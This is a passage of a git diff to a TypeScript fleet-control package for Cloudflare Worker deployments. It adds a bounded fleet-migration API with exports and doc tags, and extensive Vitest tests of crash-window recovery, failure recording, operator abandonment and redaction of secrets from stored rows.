is package-private, not a root API. import { advanceCloudflareWorkerAttachmentScan } from '@proofoftech/fleet-control'; // @ts-expect-error R1 provider attachments stay behind decommission types. @@ -735,6 +758,49 @@ const settlementHost: FleetSettlementHost = { }, }; +declare const migrationOptions: AdvanceFleetMigrationOptions; +declare const migrationResult: FleetMigrationAdvanceResult; +const migrationAction: FleetMigrationAdvanceAction = { + kind: 'continue', + token: migrationResult.token, +}; +const migrationAdvance: Promise = + advanceFleetMigration({ ...migrationOptions, action: migrationAction }); +const migrationCapability: FleetMigrationAdvanceCapability = + new FleetMigrationAdvanceCapabilityError().capability; +const migrationStep: FleetMigrationStep = 'admit-migrating'; +const migrationPlan: readonly FleetMigrationPlanEntry[] = [ + { step: migrationStep }, +]; +const migrationProgress: FleetMigrationProgress = { + kind: 'migration', + revision: 0, + itemCount: 0, + activeItemOrdinal: 0, + completedItemCount: 0, +}; +const migrationPage: Promise> = readFleetMigrationItemsPage(migrationOptions.operationStore, { + operationId: migrationResult.token.operationId, + limit: 1, +}); +const migrationAbandon: Promise = abandonFleetMigrationOperation({ + operationStore: migrationOptions.operationStore, + operationId: migrationResult.token.operationId, +}); +if (migrationResult.status === 'complete') { + const summary: FleetMigrationResultRef = migrationResult.result; + void summary; +} +void migrationAdvance; +void migrationCapability; +void migrationPlan; +void migrationProgress; +void migrationPage; +void migrationAbandon; + void ActiveRouteAttestationError; void CloudflareApiPlainWorkerBackend; void CloudflareProvisioningClient; @@ -805,10 +871,14 @@ import { DecommissionAdvanceTokenOperationError, ProcessLocalCloudflareApiRateCoordinator, FileSystemDatabaseExportStore, + FleetMigrationAdvanceCapabilityError, ProvisioningError, WorkersForPlatformsBackend, advanceBackendSwitchDecommission, advanceDecommissionDeployment, + abandonFleetMigrationOperation, + advanceFleetMigration, + readFleetMigrationItemsPage, attestConvergedActiveRoute, attestFleetRecordActiveRoute, deploymentSpecDigest, @@ -839,6 +909,29 @@ assert.equal(typeof attestFleetRecordActiveRoute, 'function'); assert.equal(typeof fleetSettlementKey, 'function'); assert.equal(typeof advanceBackendSwitchDecommission, 'function'); assert.equal(typeof advanceDecommissionDeployment, 'function'); +assert.equal(typeof advanceFleetMigration, 'function'); +assert.equal(typeof readFleetMigrationItemsPage, 'function'); +assert.equal(typeof abandonFleetMigrationOperation, 'function'); +const migrationCapability = new FleetMigrationAdvanceCapabilityError(); +assert.ok(migrationCapability instanceof Error); +assert.equal(migrationCapability.name, 'FleetMigrationAdvanceCapabilityError'); +assert.equal(migrationCapability.capability, 'operation-store'); +assert.equal( + migrationCapability.message, + 'fleet migration advance requires an operation store', +); +await assert.rejects( + advanceFleetMigration({ operationStore: {} }), + FleetMigrationAdvanceCapabilityError, +); +const rootExports = await import('@proofoftech/fleet-control'); +for (const internal of [ + 'admitFleetMigrationItem', + 'revalidateFleetMigrationAdmission', + 'assertFleetMigrationPlanCompatibility', + 'assertMigratingCarrierState', + 'executeNextMigrationStep', +]) assert.equal(internal in rootExports, false); const missingCapability = new DecommissionAdvanceCapabilityError( 'attachment-scan', ); diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts index 13d57364..f80db238 100644 --- a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts +++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts @@ -90,6 +90,7 @@ const EXPECTED_COLUMNS: Readonly< }, }); +/** @inline */ export interface D1FleetInventoryRunStoreOptions { readonly accountId: string; readonly leaseTtlMs?: number; diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index 72882b0f..7b85dbab 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -97,6 +97,7 @@ const EXPECTED_COLUMNS: Readonly< }, }); +/** @inline */ export interface D1FleetOperationStoreOptions { readonly accountId: string; readonly leaseTtlMs?: number; diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts index 6146f83d..21e30d3f 100644 --- a/packages/fleet-control/src/fleet-inventory-state.ts +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -71,6 +71,7 @@ export interface FleetInventoryRunToken { /** * One bounded stage of an account inventory run, in provider encounter order. * Ordinals address items inside a stage; cursors are provider resumption text. + * @inline */ export type FleetInventoryStage = | Readonly<{ step: 'host-kv-keys'; cursor?: string }> @@ -96,6 +97,7 @@ export type FleetInventoryStage = /** The step discriminant of {@link FleetInventoryStage}. */ export type FleetInventoryStageStep = FleetInventoryStage['step']; +/** @inline */ export type FleetInventoryRowKind = | 'registration' | 'deployment' @@ -107,6 +109,7 @@ export type FleetInventoryRowKind = | 'dispatch-script' | 'meta'; +/** @inline */ export type FleetInventoryDeploymentFactKind = | 'database-id' | 'durable-object-binding' @@ -197,6 +200,7 @@ const STAGE_SHAPES: Readonly> = finalize: {}, }); +/** @inline */ export interface FleetInventoryRunProgress { readonly stage: FleetInventoryStage; readonly generation: number; @@ -207,6 +211,7 @@ export interface FleetInventoryRunProgress { readonly providerRequests: number; } +/** @inline */ export interface FleetInventoryRunRecord { readonly version: 1; readonly operationId: string; @@ -225,12 +230,14 @@ export interface FleetInventoryGenerationRef { readonly factCount: number; } +/** @inline */ export interface FleetInventoryStagedRow { readonly kind: FleetInventoryRowKind; readonly ordinal: number; readonly payload: Readonly>; } +/** @inline */ export interface FleetInventoryStagedFact { readonly deploymentOrdinal: number; readonly factKind: FleetInventoryDeploymentFactKind; @@ -238,7 +245,10 @@ export interface FleetInventoryStagedFact { readonly payload: Readonly>; } -/** One bounded provider stage chunk request. */ +/** + * One bounded provider stage chunk request. + * @inline + */ export interface FleetInventoryStageInput { readonly stage: FleetInventoryStage; readonly options: FleetInventoryRunOptions; @@ -247,7 +257,10 @@ export interface FleetInventoryStageInput { readonly signal?: AbortSignal; } -/** One bounded provider stage chunk result; it contains no D1 knowledge. */ +/** + * One bounded provider stage chunk result; it contains no D1 knowledge. + * @inline + */ export interface FleetInventoryStageResult { readonly rows: readonly FleetInventoryStagedRow[]; readonly facts: readonly FleetInventoryStagedFact[]; @@ -265,6 +278,7 @@ export interface FleetInventoryProviderContext { ): Promise; } +/** @inline */ export type FleetInventoryFailureReason = | 'cursor-drift' | 'provider-bound-exceeded' @@ -278,7 +292,10 @@ export const FLEET_INVENTORY_FAILURE_REASONS: readonly FleetInventoryFailureReas 'operator-abandoned', ]); -/** Materialization source for one finalized generation. */ +/** + * Materialization source for one finalized generation. + * @inline + */ export interface FleetInventoryGeneration { readonly ref: FleetInventoryGenerationRef; readonly rows: readonly FleetInventoryStagedRow[]; diff --git a/packages/fleet-control/src/fleet-migration-state.ts b/packages/fleet-control/src/fleet-migration-state.ts index 53b415ce..a3cfd2b9 100644 --- a/packages/fleet-control/src/fleet-migration-state.ts +++ b/packages/fleet-control/src/fleet-migration-state.ts @@ -45,6 +45,7 @@ export const FLEET_MIGRATION_STEPS = Object.freeze([ 'retire-post', ] as const); +/** @useDeclaredType */ export type FleetMigrationStep = (typeof FLEET_MIGRATION_STEPS)[number]; export type FleetMigrationPlanEntry = Readonly<{ diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index 836a964b..cfb2db93 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -69,6 +69,7 @@ export const FLEET_OPERATION_KINDS = Object.freeze([ 'audit', 'migration', ] as const); +/** @useDeclaredType */ export type FleetOperationKind = (typeof FLEET_OPERATION_KINDS)[number]; /** Every staged row kind. */ export const FLEET_OPERATION_ROW_KINDS = Object.freeze([ @@ -77,6 +78,7 @@ export const FLEET_OPERATION_ROW_KINDS = Object.freeze([ 'item', 'fact', ] as const); +/** @useDeclaredType */ export type FleetOperationRowKind = (typeof FLEET_OPERATION_ROW_KINDS)[number]; export interface FleetOperationToken { diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index a73620e7..826e453b 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -138,6 +138,23 @@ export { FleetInventoryRunTokenFutureError, FleetInventoryRunTokenOperationError, } from './fleet-inventory-state.js'; +export { + type AdvanceFleetMigrationOptions, + abandonFleetMigrationOperation, + advanceFleetMigration, + type FleetMigrationAdvanceAction, + type FleetMigrationAdvanceCapability, + FleetMigrationAdvanceCapabilityError, + type FleetMigrationAdvanceResult, + type FleetMigrationResultRef, + readFleetMigrationItemsPage, +} from './fleet-migration-advance.js'; +export type { + FleetMigrationItem, + FleetMigrationPlanEntry, + FleetMigrationProgress, + FleetMigrationStep, +} from './fleet-migration-state.js'; export { type FleetOperationFailure, type FleetOperationKind, diff --git a/packages/fleet-control/test/backend-switch-provider.test.ts b/packages/fleet-control/test/backend-switch-provider.test.ts index 7e43d44f..f6139c97 100644 --- a/packages/fleet-control/test/backend-switch-provider.test.ts +++ b/packages/fleet-control/test/backend-switch-provider.test.ts @@ -1584,7 +1584,7 @@ describe('backend switch provider teardown authority', () => { }); describe('backend switch provider response-loss recovery', () => { - it('appends a platform profile after a disjoint persisted plain history without replaying platform tags', () => { + it('appends a platform profile without replaying tags and rejects inconsistent finalized history', () => { const externalSpec: DeploymentSpec = { ...targetSpec, durableObjectMigrations: [], @@ -1683,6 +1683,34 @@ describe('backend switch provider response-loss recovery', () => { 'v2', 'v3', ]); + const resources = currentRecord.platformResources; + if (!resources) throw new Error('missing finalized resources'); + for (const corruption of [ + { durableObjectTag: 'foreign-tag' }, + { durableObjectMigrationHistoryDigest: 'f'.repeat(64) }, + { durableObjectMigrationHistoryDigest: undefined }, + { + durableObjectTag: 'foreign-tag', + platformResources: { + ...resources, + stateWorker: { + ...resources.stateWorker, + durableObjectTag: 'foreign-tag', + }, + }, + }, + ]) { + expect(() => + subject.describeFinalizedBridgeTarget(externalSpec, { + ...currentRecord, + ...corruption, + }), + ).toThrow( + new Error( + 'finalized ordinary state has inconsistent persisted migration history', + ), + ); + } }); it('appends finalized state migrations from the persisted live tag and adopts a committed upload response loss', async () => { diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index 98bbb5f3..b09ff4db 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -3,9 +3,11 @@ import { createHash } from 'node:crypto'; import { describe, expect, it } from 'vitest'; import { applicationBindingTopology } from '../src/application-bindings.js'; +import type { FinalizedOrdinaryStateProvider } from '../src/backend-switch.js'; import { admitFleetMigrationItem, assertFleetMigrationPlanCompatibility, + assertMigratingCarrierState, executeNextMigrationStep, migrateFleet, } from '../src/fleet.js'; @@ -51,6 +53,8 @@ import { providerBindingIdentitiesForInspection } from '../src/provider-binding- import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { ApplicationBindingTopology, + BridgeMutationPlan, + BridgeSnapshot, DeploymentSecrets, DeploymentSpec, ExternalPlatformResources, @@ -104,6 +108,7 @@ class MemoryOperationStore implements FleetOperationStore { readonly locked = new Set(); readonly calls: string[] = []; readonly commits: Parameters[0][] = []; + readonly failures: Parameters[0][] = []; loseLease = false; loseCommit: 'before' | 'after' | undefined; stageLimit: number | undefined; @@ -112,6 +117,7 @@ class MemoryOperationStore implements FleetOperationStore { | ((input: Parameters[0]) => void) | undefined; beforePage: (() => void) | undefined; + beforeFail: (() => void) | undefined; reversePages = false; async withAccountOperationLease( @@ -347,8 +353,10 @@ class MemoryOperationStore implements FleetOperationStore { return copy(finalized); }, failOperation: async (input) => { + this.beforeFail?.(); await assertOwned(); this.calls.push('fail'); + this.failures.push(copy(input)); if ((input.updateRows?.length ?? 0) > 1) throw new Error('failOperation accepts at most one updateRow'); const prior = this.operations.get(input.operationId); @@ -599,16 +607,30 @@ function createWorld( tenant?: string; schemaVersion?: number; lagging?: boolean; + namespace?: boolean; } = {}, ) { const path = input.path ?? 'full'; const external = input.external ?? path === 'platform-only'; - const priorSpec = deploymentSpec(input.tenant ?? 'cedar', 1, external); + const priorSpec = { + ...deploymentSpec(input.tenant ?? 'cedar', 1, external), + ...(input.namespace + ? { durableObjectBindings: [{ name: 'STATE', className: 'Runner' }] } + : {}), + }; let spec = path === 'full' - ? deploymentSpec(priorSpec.tenantTag, input.schemaVersion ?? 3, external) + ? { + ...deploymentSpec( + priorSpec.tenantTag, + input.schemaVersion ?? 3, + external, + ), + durableObjectBindings: priorSpec.durableObjectBindings, + } : priorSpec; let stateDigest = 'a'.repeat(64); + let namespaceId = 'namespace-original'; const ops: string[] = []; const releases = new Map(); const routed = new Map(); @@ -638,8 +660,10 @@ function createWorld( scriptName: externalStateScriptName(targetSpec), artifactVersion: `state-${stateDigest[0]}`, artifactDigest: stateDigest, - durableObjectBindings: [], - namespaceIds: [], + durableObjectBindings: targetSpec.durableObjectBindings.map( + (binding) => ({ ...binding, namespaceId }), + ), + namespaceIds: input.namespace ? [namespaceId] : [], }, egressProxy: { scriptName: externalEgressProxyScriptName(targetSpec), @@ -660,7 +684,11 @@ function createWorld( environment: target.environment, scriptName: physicalName(target), databaseId: `db-${target.tenantTag}`, - durableObjectBindings: [], + durableObjectBindings: target.durableObjectBindings.map((binding) => ({ + ...binding, + namespaceId, + scriptName: externalStateScriptName(target), + })), serviceBindings: [], queueProducerBindings: [], plainTextBindings: Object.fromEntries( @@ -896,6 +924,9 @@ function createWorld( setMaintenance(next: MaintenanceHealth) { maintenance = next; }, + setNamespace(next: string) { + namespaceId = next; + }, fail(operation: string, error: unknown) { failure = { operation, error }; }, @@ -921,6 +952,142 @@ function createWorld( type World = ReturnType; +function finalizedWorld(path: 'ready' | 'platform-only' | 'full' = 'full') { + const world = createWorld({ path, external: true }); + const history = [{ tag: 'state-v2', newClasses: ['StateV2'] }]; + const target = { + ...world.targetFor(world.spec), + stateDurableObjectTag: 'state-v2', + stateDurableObjectHistoryDigest: + durableObjectMigrationHistoryDigest(history), + }; + const bridge: BridgeSnapshot = { + scriptName: world.initial.scriptName, + artifactVersion: 'state-a', + artifactDigest: world.priorTarget.stateArtifactDigest, + databaseId: world.initial.databaseId, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + stateOnly: true, + publicRouteAttached: false, + }; + const resources = world.initial.platformResources; + if (!resources) throw new Error('missing finalized resources'); + const initial = { + ...world.initial, + durableObjectMigrationHistory: [], + durableObjectMigrationHistoryDigest: durableObjectMigrationHistoryDigest( + [], + ), + ...(path === 'ready' ? { platformTarget: target } : {}), + platformResources: { + ...resources, + stateWorker: { + ...resources.stateWorker, + scriptName: bridge.scriptName, + plane: 'ordinary' as const, + }, + }, + backendSwitchIntent: { + kind: 'backend-switch' as const, + tenantTag: world.initial.tenantTag, + environment: world.initial.environment, + prior: { + scriptName: world.initial.scriptName, + artifactVersion: 'plain-v1', + specDigest: world.initial.desiredSpecDigest, + databaseId: world.initial.databaseId, + databaseName: world.initial.databaseName, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + applicationResources: [], + customDomain: { + id: 'domain-cedar', + hostname: world.initial.routeHostname as string, + }, + }, + targetSpecDigest: world.initial.desiredSpecDigest, + targetApplication: EMPTY_APPLICATION, + target: world.priorTarget, + rollbackUntil: '2026-08-20T00:00:00.000Z', + subphase: 'finalized' as const, + bridge, + }, + }; + world.fleetStore.set(initial); + const plan: BridgeMutationPlan = { + artifactDigest: target.stateArtifactDigest, + durableObjectMigrations: history, + targetDurableObjectTag: target.stateDurableObjectTag, + secretNames: bridge.secretNames, + mutationDigest: 'e'.repeat(64), + }; + const provider: FinalizedOrdinaryStateProvider = { + describeFinalizedBridgeTarget() { + world.ops.push('finalizedTarget'); + return target; + }, + describeFinalizedState() { + world.ops.push('finalizedPlan'); + return plan; + }, + async assertFinalizedState() { + world.ops.push('finalizedAssert'); + }, + async ensureFinalizedState() { + world.ops.push('finalizedEnsure'); + return { + ...bridge, + artifactVersion: 'state-v2', + artifactDigest: target.stateArtifactDigest, + }; + }, + async commitFinalizedOwnership({ + currentRecord, + bridge: nextBridge, + target: nextTarget, + }) { + world.ops.push('finalizedCommit'); + const prior = currentRecord.platformResources; + if (!prior) throw new Error('missing finalized resources'); + return { + ...currentRecord, + platformResources: { + ...prior, + stateWorker: { + ...prior.stateWorker, + artifactVersion: nextBridge.artifactVersion, + artifactDigest: nextBridge.artifactDigest, + durableObjectTag: nextTarget.stateDurableObjectTag, + durableObjectBindings: nextBridge.durableObjectBindings, + namespaceIds: nextBridge.namespaceIds, + }, + }, + }; + }, + }; + const options = world.options; + world.options = (action) => ({ + ...options(action), + finalizedStateProviderFor() { + world.ops.push('finalizedFor'); + return provider; + }, + }); + const start = (id = uuid()) => + advanceFleetMigration( + world.options({ + kind: 'start', + operationId: id, + records: [world.current()], + canaryTenantTags: [], + }), + ); + return { world, provider, target, plan, start }; +} + async function continueWorld( world: World, result: FleetMigrationAdvanceResult, @@ -976,6 +1143,7 @@ async function withAdmitted( backendFor: options.backendFor, specFor: options.specFor, secretsFor: options.secretsFor, + finalizedStateProviderFor: options.finalizedStateProviderFor, settlementFor: options.settlementFor, clock: () => NOW, ordinal: 1, @@ -989,6 +1157,48 @@ async function withAdmitted( ); } +function migrateWorld(world: World) { + const options = world.options({ kind: 'continue', token: {} }); + return migrateFleet({ + ...options, + store: world.fleetStore, + records: [world.current()], + canaryTenantTags: [], + }); +} + +function expectItemFailure(world: World, ordinal = 0) { + expect(world.operationStore.item(uuid(), ordinal).status).toBe('failed'); + expect(world.operationStore.operations.get(uuid())).toMatchObject({ + state: 'failed', + progress: { failure: { reason: 'item-failed', itemOrdinal: ordinal } }, + }); + expect( + world.operationStore.calls.filter((call) => call === 'fail'), + ).toHaveLength(1); +} + +function providerMutations(world: World) { + return world.ops.filter((op) => + /^(apply:|seed:|deploy$|maintenance$|promote$|platform$|settle$|retire:)/u.test( + op, + ), + ); +} + +async function loseStepResponse( + world: World, + result: FleetMigrationAdvanceResult, +) { + const item = world.operationStore.item(); + world.operationStore.loseCommit = 'before'; + await expect(continueWorld(world, result)).rejects.toThrow( + 'progress response lost', + ); + expect(world.operationStore.item()).toEqual(item); + return item; +} + describe('bounded fleet migration', () => { it('start freezes the exact legacy order (dup-canary last-wins, stable equal rank, localeCompare)', async () => { const world = createWorld(); @@ -2276,4 +2486,1520 @@ describe('bounded fleet migration', () => { continueWorld(reordered, reorderedTerminal.token), ).rejects.toThrow('fleet migration item no longer matches its frozen plan'); }); + + it('crash window admit-migrating: no re-put from migrating', async () => { + for (const input of [ + {}, + { external: true }, + { path: 'platform-only' as const }, + ]) { + const world = createWorld(input); + const result = await advanceTo(world, 'admit-migrating'); + const item = await loseStepResponse(world, result); + const admitted = copy(world.current()); + expect(admitted.phase).toBe('migrating'); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await continueWorld(world, result); + expect(world.current()).toEqual(admitted); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + expect(world.operationStore.item().planCursor).toBe( + (item.planCursor ?? 0) + 1, + ); + } + }); + + it('crash window apply-migrations: occurrence identity and ledger verification cover both sides of the schema put', async () => { + const intermediate = createWorld(); + const result = await advanceTo(intermediate, 'apply-migrations'); + await loseStepResponse(intermediate, result); + expect(intermediate.current().schemaVersion).toBe(2); + intermediate.ops.length = 0; + const puts = intermediate.fleetStore.puts.length; + const next = await continueWorld(intermediate, result); + expect(intermediate.ops.filter((op) => op.startsWith('apply:'))).toEqual( + [], + ); + expect(intermediate.fleetStore.puts).toHaveLength(puts); + await continueWorld(intermediate, next); + expect(intermediate.ops.filter((op) => op.startsWith('apply:'))).toEqual([ + 'apply:3', + ]); + + for (const missingLedger of [false, true]) { + const final = createWorld({ schemaVersion: 2 }); + const token = await advanceTo(final, 'apply-migrations'); + if (missingLedger) + final.fleetStore.set({ ...final.current(), schemaVersion: 2 }); + else await loseStepResponse(final, token); + final.ops.length = 0; + const writes = final.fleetStore.puts.length; + if (missingLedger) { + await expect(continueWorld(final, token)).rejects.toThrow( + 'migration ledger is incomplete', + ); + expectItemFailure(final); + } else { + await continueWorld(final, token); + } + expect(final.ops.filter((op) => op.startsWith('apply:'))).toEqual([ + 'apply:verify', + ]); + expect(final.fleetStore.puts).toHaveLength(writes); + } + + const beforePut = createWorld(); + const token = await advanceTo(beforePut, 'apply-migrations'); + const applied: number[] = []; + const apply = beforePut.backend.applyMigrations; + beforePut.backend.applyMigrations = async (...args) => { + for (const { version } of args[1]) + if (!beforePut.ledger.has(version)) applied.push(version); + return apply(...args); + }; + const interruption = new Error('process terminated before schema put'); + beforePut.fleetStore.beforePut = (record) => { + if (record.schemaVersion === 2) throw interruption; + }; + beforePut.operationStore.beforeFail = () => { + throw interruption; + }; + await expect(continueWorld(beforePut, token)).rejects.toBe(interruption); + expect(beforePut.current().schemaVersion).toBe(1); + expect(beforePut.ledger.has(2)).toBe(true); + expect(beforePut.operationStore.item().status).toBe('active'); + beforePut.fleetStore.beforePut = undefined; + beforePut.operationStore.beforeFail = undefined; + beforePut.ops.length = 0; + await continueWorld(beforePut, token); + expect(beforePut.ops.filter((op) => op.startsWith('apply:'))).toEqual([ + 'apply:2', + ]); + expect(applied).toEqual([2]); + expect(beforePut.current().schemaVersion).toBe(2); + }); + + it('crash window deploy-candidate: external re-deploys the same artifact; non-external adopts via inspect', async () => { + for (const external of [false, true]) { + const world = createWorld({ external }); + const token = await advanceTo(world, 'deploy-candidate'); + const deploys: Parameters[] = []; + const deploy = world.backend.deployWorker; + world.backend.deployWorker = async (...args) => { + deploys.push(args); + return deploy(...args); + }; + const interruption = new Error('candidate commit interrupted'); + world.fleetStore.beforePut = (record) => { + if ( + record.pendingArtifactVersion || + record.migrationIntent?.subphase === 'candidate-deployed' + ) + throw interruption; + }; + world.operationStore.beforeFail = () => { + throw interruption; + }; + await expect(continueWorld(world, token)).rejects.toBe(interruption); + expect(deploys).toHaveLength(1); + world.fleetStore.beforePut = undefined; + world.operationStore.beforeFail = undefined; + world.ops.length = 0; + await continueWorld(world, token); + expect(deploys).toHaveLength(external ? 2 : 1); + if (external) { + expect(deploys[1]?.[0]).toBe(deploys[0]?.[0]); + expect(deploys[1]?.[1]).toEqual(deploys[0]?.[1]); + expect(deploys[1]?.[2]).toBe(deploys[0]?.[2]); + expect(deploys[1]?.[5]).toBe(deploys[0]?.[5]); + expect(world.ops).toContain('deploy'); + } else { + expect(world.ops).toContain('inspect'); + expect(world.ops).not.toContain('deploy'); + } + expect( + external + ? world.current().pendingRelease?.artifactVersion + : world.current().pendingArtifactVersion, + ).toBe(`v${world.spec.schemaVersion}`); + } + }); + + it('crash window pending-topology: timestamp-only re-put', async () => { + const world = createWorld({ external: true }); + const token = await advanceTo(world, 'pending-topology'); + await loseStepResponse(world, token); + const prior = copy(world.current()); + const puts = world.fleetStore.puts.length; + world.ops.length = 0; + await advanceFleetMigration({ + ...world.options({ kind: 'continue', token: token.token }), + clock: () => NOW + 1000, + }); + expect(world.fleetStore.puts).toHaveLength(puts + 1); + expect(world.current()).toEqual({ + ...prior, + updatedAt: new Date(NOW + 1000).toISOString(), + }); + expect(providerMutations(world)).toEqual([]); + }); + + it('crash window retire-post: cleared retiringRelease no-ops', async () => { + const world = createWorld({ external: true }); + world.fleetStore.set({ + ...world.initial, + rollbackRelease: { + ...world.priorRelease, + physicalScriptName: 'obsolete-release', + }, + }); + const token = await advanceTo(world, 'retire-post'); + await loseStepResponse(world, token); + expect(world.ops).toContain('retire:obsolete-release'); + expect(world.current().retiringRelease).toBeUndefined(); + const prior = copy(world.current()); + const puts = world.fleetStore.puts.length; + world.ops.length = 0; + await continueWorld(world, token); + expect(world.current()).toEqual(prior); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + expect(world.operationStore.item().status).toBe('complete'); + }); + + it('first error: ONE failOperation batch and the original error rethrown; later ordinals never run', async () => { + const world = createWorld(); + const later = baseRecord(deploymentSpec('later')); + world.fleetStore.set(later); + const result = await advanceTo( + world, + 'seed-identity', + await world.start(uuid(), [world.initial, later]), + ); + const original = new Error('Authorization: Bearer private-provider-error'); + world.fail('seed:cedar', original); + await expect(continueWorld(world, result)).rejects.toBe(original); + expectItemFailure(world); + expect(world.operationStore.failures).toHaveLength(1); + expect(world.operationStore.failures[0]?.updateRows).toEqual([ + { + rowKind: 'item', + ordinal: 0, + payload: { ...world.operationStore.item() }, + }, + ]); + expect( + world.operationStore.failures[0]?.runRecord.progress.failure, + ).toEqual({ reason: 'item-failed', itemOrdinal: 0 }); + expect(world.operationStore.item(uuid(), 1)).toMatchObject({ + status: 'pending', + }); + expect(world.ops.some((op) => op.endsWith(':later'))).toBe(false); + expect(world.operationStore.heads.has('migration')).toBe(false); + expect(world.operationStore.operations.get(uuid())?.terminalAtMs).toBe(NOW); + expect(world.operationStore.operations.get(uuid())?.progress.revision).toBe( + result.token.revision + 1, + ); + const bytes = JSON.stringify([ + ...world.operationStore.operations.values(), + ...world.operationStore.rows.values(), + ]); + expect(bytes).not.toContain(original.message); + expect(bytes).not.toContain('Bearer'); + }); + + it('continue on a failed operation returns the failed member with zero provider work', async () => { + const world = createWorld(); + const token = await world.start(); + const original = new Error('backend resolver failed'); + await expect( + advanceFleetMigration({ + ...world.options({ kind: 'continue', token: token.token }), + backendFor() { + throw original; + }, + }), + ).rejects.toBe(original); + const run = world.operationStore.operations.get(uuid()); + if (!run) throw new Error('missing failed run'); + world.ops.length = 0; + world.fleetStore.ops.length = 0; + const calls = [...world.operationStore.calls]; + const failed = await advanceFleetMigration( + world.options({ + kind: 'continue', + token: { ...token.token, revision: run.progress.revision }, + }), + ); + expect(failed).toMatchObject({ + status: 'failed', + failure: { reason: 'item-failed', itemOrdinal: 0 }, + }); + expect(world.ops).toEqual([]); + expect(world.fleetStore.ops).toEqual([]); + expect(world.operationStore.calls).toEqual(calls); + }); + + it('a disappeared record becomes the item failure', async () => { + for (const admitted of [false, true]) { + const world = createWorld(); + let token = await world.start(); + if (admitted) token = await continueWorld(world, token); + world.fleetStore.records.clear(); + world.ops.length = 0; + await expect(continueWorld(world, token)).rejects.toThrow( + 'fleet migration record disappeared', + ); + expectItemFailure(world); + expect(world.ops).toEqual([]); + expect(world.fleetStore.puts).toEqual([]); + } + }); + + it('abandonFleetMigrationOperation: running becomes operator-abandoned with the active item failed; terminal is a no-op', async () => { + for (const admitted of [false, true]) { + const world = createWorld(); + let token = await world.start(); + if (admitted) token = await continueWorld(world, token); + const item = world.operationStore.item(); + await abandonFleetMigrationOperation({ + operationStore: world.operationStore, + operationId: uuid(), + }); + expect(world.operationStore.item()).toEqual({ + ...item, + status: 'failed', + }); + expect(world.operationStore.operations.get(uuid())).toMatchObject({ + state: 'failed', + terminalAtMs: NOW, + progress: { + revision: token.token.revision + 1, + failure: { reason: 'operator-abandoned', itemOrdinal: 0 }, + }, + }); + expect(world.operationStore.heads.has('migration')).toBe(false); + const state = copy([...world.operationStore.operations.values()]); + const calls = [...world.operationStore.calls]; + await abandonFleetMigrationOperation({ + operationStore: world.operationStore, + operationId: uuid(), + }); + expect([...world.operationStore.operations.values()]).toEqual(state); + expect(world.operationStore.calls).toEqual(calls); + } + const complete = createWorld({ path: 'ready' }); + await drainWorld(complete); + const prior = copy([...complete.operationStore.operations.values()]); + const calls = [...complete.operationStore.calls]; + await abandonFleetMigrationOperation({ + operationStore: complete.operationStore, + operationId: uuid(), + }); + expect([...complete.operationStore.operations.values()]).toEqual(prior); + expect(complete.operationStore.calls).toEqual(calls); + }); + + it('items page is readable while running', async () => { + const world = createWorld(); + const records = [ + world.initial, + baseRecord(deploymentSpec('elm')), + baseRecord(deploymentSpec('fir')), + ]; + const token = await world.start(uuid(), records); + await continueWorld(world, token); + world.ops.length = 0; + const first = await readFleetMigrationItemsPage(world.operationStore, { + operationId: uuid(), + limit: 2, + }); + expect(first.items.map((item) => item.ordinal)).toEqual([0, 1]); + expect(first.items.map((item) => item.status)).toEqual([ + 'active', + 'pending', + ]); + expect(first.done).toBe(false); + const second = await readFleetMigrationItemsPage(world.operationStore, { + operationId: uuid(), + afterOrdinal: 1, + limit: 2, + }); + expect(second.items.map((item) => item.ordinal)).toEqual([2]); + expect(second.done).toBe(true); + expect(world.ops).toEqual([]); + expect(world.operationStore.operations.get(uuid())?.state).toBe('running'); + world.operationStore.reversePages = true; + expect( + ( + await readFleetMigrationItemsPage(world.operationStore, { + operationId: uuid(), + limit: 3, + }) + ).items.map((item) => item.ordinal), + ).toEqual([0, 1, 2]); + }); + + it('second-world drain-versus-bounded end states and sanitized rows retain callback and clock contracts', async () => { + for (const input of [ + { path: 'ready' as const }, + {}, + { external: true }, + { path: 'platform-only' as const, lagging: true }, + ]) { + const bounded = createWorld(input); + const drain = createWorld(input); + await drainWorld(bounded); + const [legacy] = await migrateWorld(drain); + expect(bounded.current()).toEqual(legacy); + expect([...bounded.releases]).toEqual([...drain.releases]); + expect([...bounded.routed]).toEqual([...drain.routed]); + expect([...bounded.ledger]).toEqual([...drain.ledger]); + const items = bounded.operationStore.rows.get(uuid()) ?? []; + const bytes = JSON.stringify(items); + for (const forbidden of [ + 'databaseId', + 'scriptName', + 'platformResources', + 'applicationBindings', + 'maintenanceAdmin', + 'deploymentIdentity', + SECRETS.maintenanceAdmin, + SECRETS.deploymentIdentity, + JSON.stringify(bounded.initial), + ]) + expect(bytes).not.toContain(forbidden); + const failed = createWorld(input); + const token = await failed.start(); + await expect( + advanceFleetMigration({ + ...failed.options({ kind: 